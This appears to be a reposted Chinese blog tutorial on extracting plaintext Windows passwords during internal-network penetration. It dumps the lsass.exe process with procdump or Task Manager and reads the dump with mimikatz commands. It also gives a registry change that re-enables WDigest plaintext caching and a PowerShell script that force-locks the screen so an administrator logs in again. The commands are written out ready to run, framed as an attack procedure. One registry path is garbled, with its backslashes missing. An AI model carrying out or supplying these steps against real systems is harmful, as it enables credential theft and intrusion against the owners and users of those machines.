内网渗透之mimikatz+procdump 提取 Windows 明文密码

0x00 原理

获取到内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码。

0x01 操作

Windows10/2012 以下的版本:
1、上传 procdump 执行命令转存出 lsass.dmp 文件(需要管理员权限)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、拿到 mimikatz 文件夹执行命令读明文:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
直接输出到文本
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" >pass.txt
mimikatz直接读取密码:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

或者手工转存 lsass.dmp 文件,打开任务管理器,选中进程,并且在其中找到 lsass.exe 这一项。

内网渗透之mimikatz+procdump 提取 Windows 明文密码_第1张图片

2. 找到这一项之后,单击右键,选择创建转储文件。

内网渗透之mimikatz+procdump 提取 Windows 明文密码_第2张图片

3. 点击之后,电脑会将该文件转储到文件夹里面,我们需要记住这个路径,并且将这个文件复制到 mimikatz 的文件夹里面。

内网渗透之mimikatz+procdump 提取 Windows 明文密码_第3张图片

2、拿到 mimikatz 文件夹执行命令读明文:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
直接输出到文本
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" >pass.txt

Windows10/2012R2 版本:
默认 Windows10 或者 2012R2 以上的,禁止在内存缓存中保存明文密码。

四步骤:
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码

修改注册表来让 Wdigest Auth 保存明文口令:
复原把 1 改为 0

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表需要重启,或者注销账号重新登录。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

然后拿到 mimikatz 文件夹执行命令读明文:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

看别人的文章说能写一个强制锁屏的 powershell 脚本文件,通过锁屏让目标重新启动电脑。

Windows2012 版本强制锁屏脚本,
保存为 lock-screen.ps1:
记得查看管理员是否在线。

Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation

脚本使用方法:

powershell -file lock-screen.ps1

内网渗透之mimikatz+procdump 提取 Windows 明文密码_第4张图片

转载请注明:Adminxe's Blog » mimikatz+procdump 提取 Windows 明文密码

你可能感兴趣的:(内网渗透之mimikatz+procdump 提取 Windows 明文密码)